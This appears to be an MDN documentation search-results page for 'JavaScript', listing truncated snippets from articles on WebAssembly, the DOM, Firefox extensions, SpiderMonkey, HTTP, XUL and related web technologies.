JavaScript frontend. For now, the Rust team is focusing on the latter case, and so that's what we cover here. For the former case, check out projects like yew. In this tutorial, we build an npm package using wasm-pack, a tool for building npm packages in Rust. This package will contain only WebAssembly and
JavaScript code, and so the users of the package won't need Rust installed. They may not even notic...
... } #[wasm_bindgen] pub fn greet(name: &str) { alert(&format!("Hello, {}!", name)); } This is the contents of our Rust project. It has three main parts; let's talk about them in turn. We give a high-level explanation here, and gloss over some details; to learn more about Rust, please check the free online book The Rust Programming Language. Using wasm-bindgen to communicate between Rust and
JavaScript The first part looks like this: use wasm_bindgen::prelude::*; Libraries are called "crates" in Rust. Get it? Cargo ships crates. The third line contains a use command, which imports code from a library into your code. In this case, we're importing everything in the wasm_bindgen::prelude module. We use these features in the next section. Before we move on to the next section, we should talk ...
...rgo ships crates. The third line contains a use command, which imports code from a library into your code. In this case, we're importing everything in the wasm_bindgen::prelude module. We use these features in the next section. Before we move on to the next section, we should talk a bit more about wasm-bindgen. ...
...And 8 more matches
Classes and Inheritance - Archive of obsolete content
efines one or more members, which are initialized to a given value when the class is instantiated. Data members are properties that allow each instance to have their own state, whereas member functions are properties that allow instances to have behavior. Inheritance allows classes to inherit state and behavior from an existing classes, known as the base class. Unlike languages like C++ and Java,
JavaScript does not have native support for classical inheritance. Instead, it uses something called prototypal inheritance. As it turns out, it is possible to emulate classical inheritance using prototypal inheritance, but not without writing a significant amount of boilerplate code. Classes in
JavaScript are defined using constructor functions. Each constructor function has an associated object, known as...
...We will show how to make inheritance work correctly with respect to constructors, prototypes, and the instanceof operator, and how to override methods in subclasses. The SDK uses a special constructor internally, known as Class, to create constructors that behave properly with respect to inheritance. ...
...ternally, known as Class, to create constructors that behave properly with respect to inheritance. The last section shows how to work with the Class constructor. It is possible to read this section on its own. However, to fully appreciate how Class works, and the problem it is supposed to solve, it is recommended that you read the entire article. ...
...And 7 more matches
Chapter 2: Technologies used in developing extensions - Archive of obsolete content
ies widely used on the web. Its structure is similar to that of the dynamic HTML used on some web pages, or the HTML applications used on Windows. If you've had experience developing with dynamic HTML, you'll probably find it relatively easy to pick up the knowledge you'll need to develop Firefox extensions. The role of each technology Firefox is largely built using four technologies: XUL, CSS,
JavaScript, and XPCOM. Extensions are also built using these four technologies. Figure 1: role of each technology in Firefox In addition to these technologies, extension development will require you to learn about how to confer privileges to overcome security restrictions on code that you write, and how to embed your code into the Firefox UI. These issues are discussed in Chapter 5. The minimum knowle...
...e interest of brevity, I will omit explanations of widely understood technologies, and focus instead on introducing new technologies you will need to understand in order to develop for Firefox. I will assume that you have experience developing with dynamic HTML, as well as the topics below. For more information on these technologies, please refer to other sources. XML coding CSS coding Basic
JavaScript syntax XML: A text-based structural language Extensible Markup Language (XML) is a meta-language for expressing various kinds of data. It was specified in 1998 by W3C, the organization that sets standards for web-related technologies. It has a number of useful qualities: it is generic, extensible, and easy to validate as well-formed. Some examples of XML-based markup languages include XHTML, ...
...better than it is when structural and stylistic markup are both embedded in HTML. There are three CSS specifications (Level 1 through Level 3), with progressively powerful features. The Gecko rendering engine handles nearly all of CSS Level 2 and some of CSS Level 3. Listing 2: CSS code sample body { color: black; background-color: white; } p { margin-bottom: 1em; text-indent: 1em; }
JavaScript: The world's most misunderstood language
JavaScript is a scripting language first developed in the 1990s, at which time it was created as a way to add dynamic features to web pages. Because it was often used at first to display pop-up windows, marching text in status bars, or in other ways that made web pages less useful to users, the language acquired a reputation as having little practical use...
...And 7 more matches
Archived open Web documentation - Archive of obsolete content
ions (deprecated) Firefox offers support for "desktop notifications"; these are notifications that are displayed to the user outside the context of the web content, using the standard notification system provided by the operating system. E4X ECMAScript for XML (E4X) is a programming language extension that adds native XML support to
JavaScript. It does this by providing access to the XML document in a form that feels natural for ECMAScript programmers. The goal is to provide an alternative, simpler syntax for accessing XML documents than via DOM interfaces. A valid alternative to E4X is a non-native JXON algorithm. E4X Tutorial This tutorial walks you through the basic sy...
...al is to provide an alternative, simpler syntax for accessing XML documents than via DOM interfaces. A valid alternative to E4X is a non-native JXON algorithm. E4X Tutorial This tutorial walks you through the basic syntax of E4X (ECMAScript for XML). With E4X, programmers can manipulate an XML document with a syntax more familiar to
JavaScript programming. Talk:Array.forEach() Ok, in the end I didn't remove the old code as it isn't hosted anywhere (I thought the github reference contained the code) but inserted a faster implementation above while retaining the rest of the document. Iterator The Iterator function returns an object which implements lega...
... The Iterator function returns an object which implements legacy iterator protocol and iterates over enumerable properties of an object. LiveConnect (Please update or remove as needed.) MSX Emulator (jsMSX) Old Proxy API Proxies are objects for which the programmer has to define the semantics in
JavaScript. The default object semantics are implemented in the
JavaScript engine, often written in lower-level languages like C++. Proxies let the programmer define most of the behavior of an object in
JavaScript. They are said to provide a meta-programming API. ParallelArray The goal of ParallelArray was to enable data-parallelism in web applications. ...
...And 7 more matches
Using the Right Markup to Invoke Plugins - Archive of obsolete content
ape 7. In IE, the object element is used to invoke a plugin that is built on the ActiveX architecture. Here's an example of this kind of usage for IE: <!-- IE ONLY CODE --> <object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=5,0,0,0" width="366" height="142" id="myFlash"> <param name="movie" value="
javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> </object> In the above example, the classid attribute that goes along with the object element points to a "clsid:" URN followed by the Unique Identifier of an ActiveX control (in the above example, the string beginning with "D27..."). This is, in fact, the Unique Identifier of Macromedia's...
...e 7.1. Mozilla-based browsers support the Netscape Plugin architecture, which is not COM based like ActiveX (and thus, not invoked via a Unique Identifier) but rather, MIME type based. Mozilla-based browsers support the use of the object element along with a MIME type. ...
...like ActiveX (and thus, not invoked via a Unique Identifier) but rather, MIME type based. Mozilla-based browsers support the use of the object element along with a MIME type. Here is an example of this usage, once again for the Macromedia Flash plugin: <object type="application/x-shockwave-flash" data="
javascript-to-flash.swf" width="366" height="142" id="myFlash"> <param name="movie" value="
javascript-to-flash.swf" /> <param name="quality" value="high" /> <param name="swliveconnect" value="true" /> <p>You need Flash -- get the latest version from <a href= "http://www.macromedia.com/downloads/">here.</a></p> </object> In the above example, application/x-shockwave-flash is the Flash MIME type, and will invoke the Netscape-specific Flash architecture in Mozilla-based browsers. T...
...And 7 more matches
Manipulating documents - Learn web development
lly done by using the Document Object Model (DOM), a set of APIs for controlling HTML and styling information that makes heavy use of the Document object. In this article we'll look at how to use the DOM in detail, along with some other interesting APIs that can alter your environment in interesting ways. Prerequisites: Basic computer literacy, a basic understanding of HTML, CSS, and
JavaScript -- including
JavaScript objects. Objective: To gain familiarity with the core DOM APIs, and the other APIs commonly associated with DOM and document manipulation The important parts of a web browser Web browsers are very complicated pieces of software with a lot of moving parts, many of which can't be controlled or manipulated by a web developer using
JavaScript. You might thi...
... Web APIs still give us access to a lot of functionality that enable us to do a great many things with web pages. There are a few really obvious bits you'll reference regularly in your code -- consider the following diagram, which represents the main parts of a browser directly involved in viewing web pages: The window is the browser tab that a web page is loaded into; this is represented in
JavaScript by the Window object. Using methods available on this object you can do things like return the window's size (see Window.innerWidth and Window.innerHeight), manipulate the document loaded into that window, store data specific to that document on the client-side (for example using a local database or other storage mechanism), attach an event handler to the current window, and more. The navigator ...
...dow's size (see Window.innerWidth and Window.innerHeight), manipulate the document loaded into that window, store data specific to that document on the client-side (for example using a local database or other storage mechanism), attach an event handler to the current window, and more. The navigator represents the state and identity of the browser (i.e. the user-agent) as it exists on the web. In
JavaScript, this is represented by the Navigator object. You can use this object to retrieve things like the user's preferred language, a media stream from the user's webcam, etc. The document (represented by the DOM in browsers) is the actual page loaded into the window, and is represented in
JavaScript by the Document object. You can use this object to return and manipulate information on the HTML and CS...
...And 7 more matches
Server-side web frameworks - Learn web development
ariable_name }}), which will be replaced by values passed in from the view function when a page is rendered. The template system also provides support for expressions (with syntax: {% expression %}), which allow templates to perform simple operations like iterating list values passed into the template. Note: Many other templating systems use a similar syntax, e.g.: Jinja2 (Python), handlebars (
JavaScript), moustache (
JavaScript), etc. The code snippet below shows how this works. Continuing the "youngest team" example from the previous section, the HTML template is passed a list variable called youngest_teams by the view. Inside the HTML skeleton we have an expression that first checks if the youngest_teams variable exists, and then iterates it in a for loop. On each iteration the template displ...
...s. Similarly, framework design can have a large impact on how easy it is to test and re-use code. Performance of the framework/programming language: Usually "speed" is not the biggest factor in selection because even relatively slow runtimes like Python are more than "good enough" for mid-sized sites running on moderate hardware. The perceived speed benefits of another language, e.g. C++ or
JavaScript, may well be offset by the costs of learning and maintenance. Caching support: As your website becomes more successful then you may find that it can no longer cope with the number of requests it is receiving as users access it. At this point you may consider adding support for caching. Caching is an optimisation where you store all or part of a web response so that it does not have to be recalcu...
...of web servers and databases) or scale "geographically" because some of your customers are based a long way away from your server. The web framework you choose can make a big difference on how easy it is to scale your site. Web security: Some web frameworks provide better support for handling common web attacks. Django for example sanitises all user input from HTML templates so that user-entered
JavaScript cannot be run. Other frameworks provide similar protection, but it is not always enabled by default. There are many other possible factors, including licensing, whether or not the framework is under active development, etc. If you're an absolute beginner at programming then you'll probably choose your framework based on "ease of learning". In addition to "ease of use" of the language itself, h...
...And 7 more matches
Displaying Places information using views
port the stylesheet browser/components/places/content/places.css and overlay the file browser/components/places/content/placesOverlay.xul: <?xml-stylesheet href="chrome://browser/content/places/places.css" ?> <?xul-overlay href="chrome://browser/content/places/placesOverlay.xul" ?> It's this stylesheet that binds elements with the special type attribute to one of the views. The overlay contains
JavaScript required by the views. It also contains the built-in Places context menu and commands, which you may want to take advantage of in your own uses of the views. Connecting a view to its data To hook up a built-in view to its data, use the view's special place attribute. Note: Starting in Gecko 2.0, you can't use the place attribute with menus. See Menu view for details. You may specify the att...
...ext menu and commands, which you may want to take advantage of in your own uses of the views. Connecting a view to its data To hook up a built-in view to its data, use the view's special place attribute. Note: Starting in Gecko 2.0, you can't use the place attribute with menus. See Menu view for details. You may specify the attribute directly in the XUL or set its corresponding property via
JavaScript. Its value is the URI of a query, and the data shown in the view are the results of this query. For simple queries whose URIs do not change over the life of the view, you might specify the place attribute directly in the XUL. For more complicated queries or queries whose URIs you plan on changing, you will want to set the view's place property dynamically using
JavaScript. Note that in the latter...
...ozilla". Remember that, because XUL is XML, any ampersands in query URIs must be written as entity reference & and not simply &. <tree type="places" place="place:terms=mozilla&onlyBookmarked=1&queryType=1"> <treecols> <treecol id="title" label="My Bookmarks" flex="1" primary="true" /> </treecols> <treechildren /> </tree> The next example does the same as the last but uses
JavaScript to set the tree's place attribute: var histServ = Cc["@mozilla.org/browser/nav-history-service;1"]. getService(Ci.nsINavHistoryService); var query = histServ.getNewQuery(); query.searchTerms = "mozilla"; query.onlyBookmarked = true; var opts = histServ.getNewQueryOptions(); opts.queryType = opts.QUERY_TYPE_BOOKMARKS; var uri = histServ.queriesToQueryString([query], 1, opts); var tree = do...
...And 7 more matches
SpiderMonkey Internals
This document is talking about partially obsolete things. Design walk-through At heart, SpiderMonkey is a fast interpreter that runs an untyped bytecode and operates on values of type JS::Value--type-tagged values that represent the full range of
JavaScript values. In addition to the interpreter, SpiderMonkey contains a Just-In-Time (JIT) compiler, a garbage collector, code implementing the basic behavior of
JavaScript values, a standard library implementing ECMA 262-5.1 ?15 with various extensions, and a few public APIs. Interpreter Like many portable interpreters, SpiderMonkey's interpreter is mainly a single, tremendously long function that steps through the bytecode one instruction at a time, using a switch statement (or faster alternative, depending on the compiler) to jump to the approp...
...ious extensions, and a few public APIs. Interpreter Like many portable interpreters, SpiderMonkey's interpreter is mainly a single, tremendously long function that steps through the bytecode one instruction at a time, using a switch statement (or faster alternative, depending on the compiler) to jump to the appropriate chunk of code for the current instruction. A JS-to-JS function call pushes a
JavaScript stack frame without growing the C stack. But since JS-to-C-to-JS call stacks are common, the interpreter is reentrant. Some SpiderMonkey bytecode operations have many special cases, depending on the type of their arguments. Common cases are inlined in the interpreter loop, breaking any abstractions that stand in the way. So optimizations such as dense arrays and the property cache are, alas, not...
...Both guest-star in jsinterp.cpp (to thunderous applause from Firefox users). All state associated with an interpreter instance is passed through formal parameters to the interpreter entry point; most implicit state is collected in a type named JSContext. Therefore, almost all functions in SpiderMonkey, API or not, take a JSContext pointer as their first argument. Compiler The compiler consumes
JavaScript source code and produces a script which contains bytecode, source annotations, and a pool of string, number, and identifier literals. The script also contains objects, including any functions defined in the source code, each of which has its own, nested script. The compiler consists of: a random-logic rather than table-driven lexical scanner, a recursive-descent parser that produces an AST, and ...
...And 7 more matches
Storage
rg. To report bugs, use Bugzilla. The overall procedure for use is: Get the Storage service - mozIStorageService. Open a connection to the database of your choice - mozIStorageConnection. Create statements to execute on the connection - mozIStorageStatement. Bind parameters to a statement as necessary. Execute the statement. Check for errors. Reset the statement. ...
...This section demonstrates how you can execute SQL statements on your database. For a complete reference see mozIStorageStatement. Creating a Statement There are actually two ways to execute a statement. You should choose the right one based on your needs. ...
...Similarly, the C++ looks like this: nsCOMPtr<mozIStorageStatement> statement; rv = dbConn->CreateStatement(NS_LITERAL_CSTRING("SELECT * FROM table_name WHERE column_name = ?1"), ...
...And 7 more matches
Debugger-API - Firefox Developer Tools
The Debugger Interface Mozilla's
JavaScript engine, SpiderMonkey, provides a debugging interface named Debugger which lets
JavaScript code observe and manipulate the execution of other
JavaScript code. Both Firefox's built-in developer tools and the Firebug add-on use Debugger to implement their
JavaScript debuggers. However, Debugger is quite general, and can be used to implement other kinds of tools like tracers, coverage analysis, patch-and-continue, and so on. Debugger has three essential qualities: It is a source level interface: it operates in terms of the
JavaScript language, not machine language. It operates on
JavaScript objects, stack frames, environments, and code, and presents a consistent interface regardless of whether the debuggee is interpreted, compiled, or optimized. If yo...
...atch-and-continue, and so on. Debugger has three essential qualities: It is a source level interface: it operates in terms of the
JavaScript language, not machine language. It operates on
JavaScript objects, stack frames, environments, and code, and presents a consistent interface regardless of whether the debuggee is interpreted, compiled, or optimized. If you have a strong command of the
JavaScript language, you should have all the background you need to use Debugger successfully, even if you have never looked into the language's implementation. It is for use by
JavaScript code.
JavaScript is both the debuggee language and the tool implementation language, so the qualities that make
JavaScript effective on the web can be brought to bear in crafting tools for developers. As is expected...
... It is an intra-thread debugging API. ...
...And 7 more matches
Migrating from Firebug - Firefox Developer Tools
Tools share the same shortcuts, but also provide shortcuts for the different panels. E.g. the Network Monitor can be opened via Ctrl+Shift+Q / Cmd+Opt+Q, the Web Console via Ctrl+Shift+K / Cmd+Opt+K and the Debugger via Ctrl+Shift+S / Cmd+Opt+S. Web Console The Web Console is the equivalent of Firebug's Console panel. It shows log information associated with a web page and allows you to execute
JavaScript expressions via its command line. The display between both is somewhat different. This may be changed in bug 1269730. Filter log messages Firebug offers two ways to filter log messages, via the options menu and via the filter buttons within the toolbar. The Developer Tools console offers similar functionality via the filter buttons inside its toolbar -- centralized at one place. Command Line A...
...y wrapped event listeners (e.g. listeners wrapped in jQuery functions). To improve the UI of the DevTools, there is also a request to add an Events side panel to them like the one in Firebug (see bug 1226640). Stop script execution on DOM mutation In Firebug you can break on DOM mutations, that means that when an element is changed, the script execution is stopped at the related line within the
JavaScript file, which caused the change. This feature can globally be enabled via the Break On Mutate button, or individually for each element and for different types of changes like attribute changes, content changes or element removal. Unfortunately, the DevTools do not have this feature yet (see bug 1004678). To stop the script execution there, you need to set a breakpoint on the line with the modificat...
...ors or XPaths Firebug allows to search for elements within the HTML panel via CSS selectors or XPaths. Also the DevTools' Inspector panel allows to search for CSS selectors. It even displays a list with matching IDs or classes. Searching by XPaths is not supported though (see bug 963933. Debugger What's the Script panel in Firebug, is the Debugger panel in the DevTools. Both allow you to debug
JavaScript code executed on a website. Switch between sources Firebug has a Script Location Menu listing all
JavaScript sources related to the website. Those sources can be static, i.e. files, or they can be dynamically generated (i.e. scripts executed via event handlers, eval(), new Function(), etc.). In the DevTools' Debugger panel the scripts are listed at the left side within the Sources side panel. D...
...And 7 more matches
Introduction to the DOM - Web APIs
mming languages can connect to the page. A Web page is a document. This document can be either displayed in the browser window or as the HTML source. But it is the same document in both cases. The Document Object Model (DOM) represents that same document so it can be manipulated. The DOM is an object-oriented representation of the web page, which can be modified with a scripting language such as
JavaScript. The W3C DOM and WHATWG DOM standards are implemented in most modern browsers. Many browsers extend the standard, so care must be exercised when using them on the web where documents may be accessed by various browsers with different DOMs. For example, the standard DOM specifies that the getElementsByTagName method in the code below must return a list of all the <p> elements in the document: c...
...bject-by-object reference to the DOM. The modern DOM is built using multiple APIs that work together. The core DOM defines the objects that fundamentally describe a document and the objects within it. This is expanded upon as needed by other APIs that add new features and capabilities to the DOM. For example, the HTML DOM API adds support for representing HTML documents to the core DOM. DOM and
JavaScript The short example above, like nearly all of the examples in this reference, is
JavaScript. That is to say, it's written in
JavaScript, but it uses the DOM to access the document and its elements. The DOM is not a programming language, but without it, the
JavaScript language wouldn't have any model or notion of web pages, HTML documents, XML documents, and their component parts (e.g. elements). E...
...uldn't have any model or notion of web pages, HTML documents, XML documents, and their component parts (e.g. elements). Every element in a document--the document as a whole, the head, tables within the document, table headers, text within the table cells--is part of the document object model for that document, so they can all be accessed and manipulated using the DOM and a scripting language like
JavaScript. ...
...And 7 more matches
EventTarget.addEventListener() - Web APIs
); target.addEventListener(type, listener [, useCapture, wantsUntrusted ]); // Gecko/Mozilla only Parameters type A case-sensitive string representing the event type to listen for. listener The object that receives a notification (an object that implements the Event interface) when an event of the specified type occurs. This must be an object implementing the EventListener interface, or a
JavaScript function. See The event listener callback for details on the callback itself. options Optional An options object specifies characteristics about the event listener. The available options are: capture A Boolean indicating that events of this type will be dispatched to the registered listener before being dispatched to any EventTarget beneath it in the DOM tree. once A Boolean indicatin...
...ts that are bubbling upward through the tree will not trigger a listener designated to use capture. Event bubbling and capturing are two ways of propagating events that occur in an element that is nested within another element, when both elements have registered a handle for that event. The event propagation mode determines the order in which elements receive the event. See DOM Level 3 Events and
JavaScript Event order for a detailed explanation. If not specified, useCapture defaults to false. Note: For event listeners attached to the event target, the event is in the target phase, rather than the capturing and bubbling phases. Events in the target phase will trigger all listeners on an element in the order they were registered, regardless of the useCapture parameter. Note: useCapture has not a...
... library like Modernizr or Detect It to do this test for you. You can learn more from the article about EventListenerOptions from the Web Incubator Community Group. Examples Add a simple listener This example demonstrates how to use addEventListener() to watch for mouse clicks on an element. ...
...And 7 more matches
HTTP Index - HTTP
es The target of an HTTP request is called a "resource", whose nature isn't defined further; it can be a document, a photo, or anything else. Each resource is identified by a Uniform Resource Identifier (URI) used throughout HTTP for identifying resources. 9 MIME types (IANA media types) Content-Type, Guide, HTTP, MIME Types, Meta, Request header, Response Header, application/
javascript, application/json, application/xml A media type (also known as a Multipurpose Internet Mail Extensions or MIME type) is a standard that indicates the nature and format of a document, file, or assortment of bytes. 10 Incomplete list of MIME types Audio, File Types, Files, HTTP, MIME, MIME Types, PHP, Reference, Text, Types, Video Here is a list of MIME types, associated ...
...ted resources with the value of a validator. Such requests can be useful to validate the content of a cache, and sparing a useless control, to verify the integrity of a document, like when resuming a download, or when preventing to lose updates when uploading or modifying a document on the server. 45 HTTP cookies Advertising, Browser, Cookies, Cookies Article, Guide, HTTP, History,
JavaScript, Privacy, Protocols, Server, Storage, Web Development, data, request, tracking An HTTP cookie (web cookie, browser cookie) is a small piece of data that a server sends to the user's web browser. The browser may store it and send it back with the next request to the same server. 46 HTTP headers HTTP, HTTP Header, Headers, Networking, Overview, Reference HTTP headers let ...
...s a marker used by the server to advertise its support of partial requests. The value of this field indicates the unit that can be used to define a range. 55 Access-Control-Allow-Credentials Access-Control-Allow-Credentials, CORS, HTTP, Reference, credentials, header The Access-Control-Allow-Credentials response header tells browsers whether to expose the response to frontend
JavaScript code when the request's credentials mode (Request.credentials) is include. 56 Access-Control-Allow-Headers CORS, HTTP, Reference, Response Header, header The Access-Control-Allow-Headers response header is used in response to a preflight request which includes the Access-Control-Request-Headers to indicate which HTTP headers can be used during the actual request. 57 ...
...And 7 more matches
Proxy Auto-Configuration (PAC) file - HTTP
} Syntax function FindProxyForURL(url, host) Parameters url The URL being accessed. The path and query components of https:// URLs are stripped. ...
...} Syntax function FindProxyForURL(url, host) Parameters url The URL being accessed. The path and query components of https:// URLs are stripped. ...
...host The hostname extracted from the URL. This is only for convenience; it is the same string as between :// and the first : or / after that. The port number is not included in this parameter. It can be extracted from the URL when necessary. Description Returns a string describing the configuration. The format of this string is defined in return value format below. ...
...And 7 more matches
Index - XSLT: Extensible Stylesheet Language Transformations
Your server needs to send both the source and the stylesheet with a XML mime type, text/xml or application/xml. To find out the current type, load the file in Mozilla and look at the page info. Or use a download tool, those usually tell the mime type. ...
...Using the XSLTProcessor.getParameter() method, the code can figure whether to sort in ascending or descending order. ...
...an XML file and apply a XSL transformation on it. These are the same files used in the Generating HTML example in the XSLT in Netscape Gecko article. The XML file describes an article and the XSL file formats the information for display. 8 Interface List NeedsContent, Reference See XSLTProcessor in the Web API documentation section. 9 Introduction Gecko, Intro,
JavaScript, XSLT With modern browsers supporting XSLT, developers can now use
JavaScript to access the power that XSLT provides.
JavaScript can enable a web application to load XML data, process it via XSLT into a presentable form and then add it into an existing document. Since the XML data loaded only contains the raw information without any presentation data, it can load quickly even on dialup. ...
...And 7 more matches
Compiling a New C/C++ Module to WebAssembly - WebAssembly
ten SDK, using these instructions: https://emscripten.org/docs/getting_started/downloads.html Compiling an example With the environment set up, let's look at how to use it to compile a C example to Emscripten. There are a number of options available when compiling with Emscripten, but the main two scenarios we'll cover are: Compiling to wasm and creating HTML to run our code in, plus all the
JavaScript "glue" code needed to run the wasm in the web environment. Compiling to wasm and just creating the
JavaScript. We will look at both below. Creating HTML and
JavaScript This is the simplest case we'll look at, whereby you get emscripten to generate everything you need to run your code, as WebAssembly, in the browser. First we need an example to compile. Take a copy of the following simple ...
...d: emcc hello.c -s WASM=1 -o hello.html The options we've passed in with the command are as follows: -s WASM=1 -- Specifies that we want wasm output. If we don't specify this, Emscripten will just output asm.js, as it does by default. ...
...output asm.js, as it does by default. -o hello.html -- Specifies that we want Emscripten to generate an HTML page to run our code in (and a filename to use), as well as the wasm module and the
JavaScript "glue" code to compile and instantiate the wasm so it can be used in the web environment. At this point in your source directory you should have: The binary wasm module code (hello.wasm) A
JavaScript file containing glue code to translate between the native C functions, and
JavaScript/wasm (hello.js) An HTML file to load, compile, and instantiate your wasm code, and display its output in the browser (hello.html) Running your example Now all that remains is for you to load the resulting hello.html in a browser that supports WebAssembly. It is enabled by default in Firefox 52+ and Chrome 57...
...And 7 more matches
Creating custom Firefox extensions with the Mozilla build system - Archive of obsolete content
There is a wealth of material on creating extensions for Firefox. All of these documents currently assume, however, that you are developing your extension using XUL and
JavaScript only. For complex extensions, it may be necessary to create components in C++ that provide additional functionality. Reasons why you might want to include C++ components in your extension include: Need for high-performance beyond what can be delivered by
JavaScript code. Use of third-party libraries written in C or C++. Use of Mozilla interfaces that are not exposed via XPCOM (e.g. NSPR). Note: With the modern JIT
Javascript Engine in Gecko and js-ctypes more extension code can be written only in
JavaScript than ever before. Please consider all of your options careful...
...e to incorporate this information. Bambi Meets Mozilla None of this is for the faint of heart. In particular, the initial step involves building Mozilla, which is a huge - nay, gargantuan! - project. Many intelligent developers have been driven to the brink of insanity trying to build it for the first time. If you're not an experienced C++ developer, I wouldn't even bother. Stick to
JavaScript. On Windows Platforms The first time I built Mozilla I used this guide. I can't even remember why anymore, but I got stuck in a number of places, and the whole affair ended up taking far longer than I originally expected. Much furniture was smashed, much hair torn out by the roots. Here's a comprehensive looking guide that's gotten good reviews. Follow every step methodically and yo...
...ed Makefile.in. The actual makefiles tend to be very similar or identical to the templates, but the extra flexibility gained from having the makefiles generated dynamically is one of the things that makes the build system so powerful. Anatomy of a Simple C++ Extension We assume that you are using C++ to write XPCOM components that can be used either from other C++ components or from
JavaScript. The process of creating a component is actually relatively straightforward when the Mozilla build system is used. In the simplest case, a component will consist of a single main directory with two subdirectories, public/ and src/. The main directory and each subdirectory must contain a Makefile.in (from now on I'll just refer to this file as a makefile although we know that it is actually...
...And 6 more matches
Index of archived content - Archive of obsolete content
elayed Execution Dialogs and Prompts Downloading Files Drag & Drop Embedding SVG Examples and demos from articles File I/O Finding window handles Forms related code snippets HTML in XUL for rich tooltips HTML to DOM IsDefaultNamespace JS XPCOM
JavaScript Debugger Service
JavaScript timers
JavaScript Daemons Management Label and description LookupNamespaceURI LookupPrefix Miscellaneous Modules On page load Page Loading Post data to window Preferences ...
... Common Pitfalls Communication between HTML and your extension Creating custom Firefox extensions with the Mozilla build system Custom about: URLs Default Preferences Deploying a Plugin as an Extension Developing add-ons Displaying web content in an extension without security issues Downloading JSON and
JavaScript in extensions Enhanced Extension Installation Extension Etiquette Extension Library Extension Packaging Extension Samples Extension Theming Guidelines Extension Versioning, Update and Compatibility Extensions support in SeaMonkey 2 Firefox addons developer guide Hiding browser chrome Hotf...
... Appendix D: Loading Scripts Appendix E: DOM Building and Insertion (HTML & XUL) Appendix F: Monitoring DOM changes Connecting to Remote Content Custom XUL Elements with XBL Getting Started with Firefox Extensions Handling Preferences Intercepting Page Loads Introduction
JavaScript Object Management Local Storage Mozilla Documentation Roadmap Observer Notifications Setting Up a Development Environment The Box Model The Essentials of an Extension Useful Mozilla Community Sites User Notifications and Alerts XPCOM Objects ...
...And 6 more matches
Mozilla Application Framework in Detail - Archive of obsolete content
lla's philosophy of using "the right tool for the right job" is manifested most prominently in the design of the user interface. We provide an XML-based language called XUL for defining the user interface of your application. CSS is used to style these UI's and DTD's are used to localize the textual information - making your application extremely flexible and able to be utilized across the globe.
JavaScript, considered by many to be the best scripting language ever designed is ideal for specifying the behavior of your Interface widgets. Where speed is the foremost consideration, we provide C++ libraries with multi-language interfaces for comprehensive, performant access to networking, filesystem, content, rendering, and much more. What this means to you as the developer is this: you can take advanta...
...ment the latest W3C standards and enables developers to build rich, dynamic web pages and web-based applications that look and run as intended across a variety of platforms and devices. This saves developers time and money while allowing them to deliver state-of-the-art content and web applications. Gecko features full support for open Internet standards such as CSS1, HTML 4.0, DOM1, RDF, XML and
JavaScript. Modular, Embeddable: Gecko's modular architecture enables developers to add or remove modules with little effort, fitting the software to the available hardware and adjusting functionality to match product requirements. Gecko is implemented as a collection of XPCOM components that can be easily added or removed. Flexible programming interfaces such as the Web Shell API, the Java wrapper API and...
...l makes virtually all of the functionality of Gecko available as a series of components, or reusable cross-platform libraries, that can be accessed from the browser or scripted from any Mozilla application. ...
...And 6 more matches
Venkman - Archive of obsolete content
Venkman is the code name for Mozilla's
JavaScript Debugger. It aims to provide a powerful
JavaScript debugging environment for Mozilla based browsers namely Firefox, Netscape 7.x/9.x and SeaMonkey. Note that it is not included in the Gecko-based browsers such as K-Meleon, Galeon and Netscape 8.x. Venkman has been provided as part of the Mozilla install distribution since October 2001, as well as an extension package in XPI format. Documentation Venkman Introduction An overview and some practical examples of using the
JavaScript Debugger in Web development. ...
... Venkman has been provided as part of the Mozilla install distribution since October 2001, as well as an extension package in XPI format. Documentation Venkman Introduction An overview and some practical examples of using the
JavaScript Debugger in Web development. Using Breakpoints in Venkman This article describes breakpoints in
JavaScript and how to use Venkman to set and examine breakpoints. Learning the
JavaScript debugger Venkman Written by Svend Tofte to the
JavaScript programmers who are not familiar with other debugging tools. Venkman FAQ Answers to common questions on Venkman. Venkman Internals Notes on Venkman source code. Venkman Developme...
...Script programmers who are not familiar with other debugging tools. Venkman FAQ Answers to common questions on Venkman. Venkman Internals Notes on Venkman source code. Venkman Development Page Older news and releases. View All... ...
...And 6 more matches
Introduction to XUL - Archive of obsolete content
platform). It may not be a part of the application UI at all. Widgets will have predefined behaviour, set at compilation. Buttons will respond to the mouse; toolbars will act as containers for buttons. The effect a widget will have on its application will be defined as a combination of predefined application behaviour and linkage between the widgets. This linkage can be accomplished by including
JavaScript in the XUL, or by application code which walks the content model after it has been built from XUL, and hooks up event listeners. Generally a real application will use some combination of the two. Applications, for instance, will have preconceived notions of what to do when they receive an "open file" command. An "open" button is simply a button. It will send its command to the application for pr...
...ich walks the content model after it has been built from XUL, and hooks up event listeners. Generally a real application will use some combination of the two. Applications, for instance, will have preconceived notions of what to do when they receive an "open file" command. An "open" button is simply a button. It will send its command to the application for processing, generally using some simple
JavaScript for linkage. We are at first primarily concerned with the obvious UI components: toolbars, menus and dialogs. Conceptually, the XUL language will allow someone with a text editor, given a package of components which can work together, the ability to put together an application by specifying something like this (for an application on an OS using menubars across the top of its applications' window...
... without affecting the XUL source. So it's just an indirection. Someday, there will be a complete description of this mechanism at packages, but for now there's a good but somewhat out of date document at Configurable Chrome available for more information. Scripting A XUL interface is only a collection of disconnected widgets until it has been programmed. "Programming" can be as simple as some
JavaScript to tie the widgets together and perhaps to give them extra functionality, or as complex as application (C++) code which is free to do ... anything. This paper will concentrate on
JavaScript, deeming application programming to be beyond its scope.
JavaScript XUL can contain HTML content, including
JavaScript.
JavaScript functions may be added in a fashion similar to HTML. There is no <head> sect...
...And 6 more matches
Windows Media in Netscape - Archive of obsolete content
ltimedia experiences that script the Windows Media Player in Netscape 7.1, just as they do in Internet Explorer. Netscape 7.1 will work with both the Windows Media Player 6.4 ActiveX control as well as versions 7 through 9. This article explains how to embed the Windows Media Player ActiveX control in web pages to support Netscape 7.1, how to control the Windows Media Player ActiveX control using
JavaScript and provides working examples. This article deals uniquely with Netscape 7.1 running on the Windows operating system. Detecting the Right Browser Like Internet Explorer, Netscape 7.1 and later versions can play Windows Media files using the popular Windows Media Player ActiveX control. This control is widely used to provide inline media support for web pages that provide sound, video and other me...
